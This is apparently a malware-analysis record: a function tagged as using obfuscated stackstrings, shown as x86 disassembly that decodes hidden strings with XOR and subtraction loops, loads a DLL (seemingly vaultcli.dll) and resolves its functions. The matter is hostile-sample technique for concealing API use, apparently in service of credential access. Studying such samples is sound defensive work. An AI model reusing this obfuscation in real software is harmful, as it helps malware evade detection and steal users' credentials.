Function at 0x40c550
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
sub esp, 0x6c
mov eax, 0x4536cd
call fcn.004534f4
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dl, 0x21
mov dword [ebp + 0x57], 0x54405721
mov dword [ebp + 0x5b], 0x4d42554d
mov dword [ebp + 0x5f], 0x4d450f48
mov word [ebp + 0x63], 0x4d
mov ecx, ebx
mov dword [ebp + 0x18], ecx
cmp ecx, 0xc
jae 0x40c5a8
mov al, byte [ebp + ecx + 0x58]
xor al, dl
mov byte [ebp + ecx + 0x58], al
inc ecx
mov dword [ebp + 0x18], ecx
mov dl, byte [ebp + 0x57]
jmp 0x40c590
mov byte [ebp + 0x64], bl
lea eax, [ebp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40c7a1
movaps xmm0, xmmword [0x407ae0]
movups xmmword [ebp + 0x1e], xmm0
mov dword [ebp + 0x2e], 0x79736b7a
mov byte [ebp + 0x32], bl
mov edx, ebx
mov dword [ebp + 0x14], edx
cmp edx, 0x13
jae 0x40c5fc
movsx ecx, byte [ebp + 0x1e]
and ecx, 0x8000000f
jns 0x40c5ef
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx + 0x1f]
sub al, cl
mov byte [ebp + edx + 0x1f], al
inc edx
jmp 0x40c5d6
mov byte [ebp + 0x32], bl
lea edx, [ebp + 0x1f]
mov ecx, edi
call fcn.0040c2e1
mov dword [esi], eax
movaps xmm0, xmmword [0x407d20]
movups xmmword [ebp + 0x33], xmm0
mov dword [ebp + 0x43], 0x7f77806c
mov word [ebp + 0x47], 0x7e
mov edx, ebx
mov dword [ebp + 0x10], edx
cmp edx, 0x14
jae 0x40c64b
movsx ecx, byte [ebp + 0x33]
and ecx, 0x8000000f
jns 0x40c63e
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx + 0x34]
sub al, cl
mov byte [ebp + edx + 0x34], al
inc edx
jmp 0x40c625
mov byte [ebp + 0x48], bl
lea edx, [ebp + 0x34]
mov ecx, edi
call fcn.0040c2e1
mov dword [esi + 0x10], eax
push 0x77
pop eax
mov byte [ebp + 0x65], al
mov dword [ebp + 0x66], 0x737c685d
mov dword [ebp + 0x6a], 0x6c794d7b
mov word [ebp + 0x6e], 0x6c
mov edx, ebx
mov dword [ebp + 0xc], edx
cmp edx, 9
jae 0x40c6a2
movsx ecx, al
and ecx, 0x8000000f
jns 0x40c68f
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx + 0x66]
sub al, cl
mov byte [ebp + edx + 0x66], al
inc edx
mov dword [ebp + 0xc], edx
mov al, byte [ebp + 0x65]
jmp 0x40c67a
mov byte [ebp + 0x6f], bl
lea edx, [ebp + 0x66]
mov ecx, edi
call fcn.0040c2e1
mov dword [esi + 4], eax
movaps xmm0, xmmword [0x407100]
movups xmmword [ebp - 0x31], xmm0
mov ecx, ebx
mov dword [ebp + 8], ecx
cmp ecx, 0xe
jae 0x40c6d5
mov al, byte [ebp + ecx - 0x30]
xor al, byte [ebp - 0x31]
mov byte [ebp + ecx - 0x30], al
inc ecx
jmp 0x40c6bf
mov byte [ebp - 0x22], bl
lea edx, [ebp - 0x30]
mov ecx, edi
call fcn.0040c2e1
mov dword [esi + 8], eax
movaps xmm0, xmmword [0x408450]
movups xmmword [ebp - 0x21], xmm0
mov byte [ebp - 0x11], bl
mov edx, ebx
mov dword [ebp + 4], edx
cmp edx, 0xf
jae 0x40c71b
movsx ecx, byte [ebp - 0x21]
and ecx, 0x8000000f
jns 0x40c70e
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x20]
sub al, cl
mov byte [ebp + edx - 0x20], al
inc edx
jmp 0x40c6f5
mov byte [ebp - 0x11], bl
lea edx, [ebp - 0x20]
mov ecx, edi
call fcn.0040c2e1
mov dword [esi + 0xc], eax
mov dl, 0x51
mov dword [ebp + 0x49], 0x24300751
mov dword [ebp + 0x4d], 0x3416253d
mov dword [ebp + 0x51], 0x34251825
mov word [ebp + 0x55], 0x3c
mov ecx, ebx
mov dword [ebp], ecx
cmp ecx, 0xc
jae 0x40c765
mov al, byte [ebp + ecx + 0x4a]
xor al, dl
mov byte [ebp + ecx + 0x4a], al
inc ecx
mov dword [ebp], ecx
mov dl, byte [ebp + 0x49]
jmp 0x40c74d
mov byte [ebp + 0x56], bl
lea edx, [ebp + 0x4a]
mov ecx, edi
call fcn.0040c2e1
mov dword [esi + 0x14], eax
cmp dword [esi], ebx
je 0x40c793
cmp dword [esi + 0x10], ebx
je 0x40c793
cmp dword [esi + 4], ebx
je 0x40c793
cmp dword [esi + 8], ebx
je 0x40c793
cmp dword [esi + 0xc], ebx
je 0x40c793
test eax, eax
je 0x40c793
mov bl, 1
mov al, bl
jmp 0x40c7a3
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add ebp, 0x70
leave
ret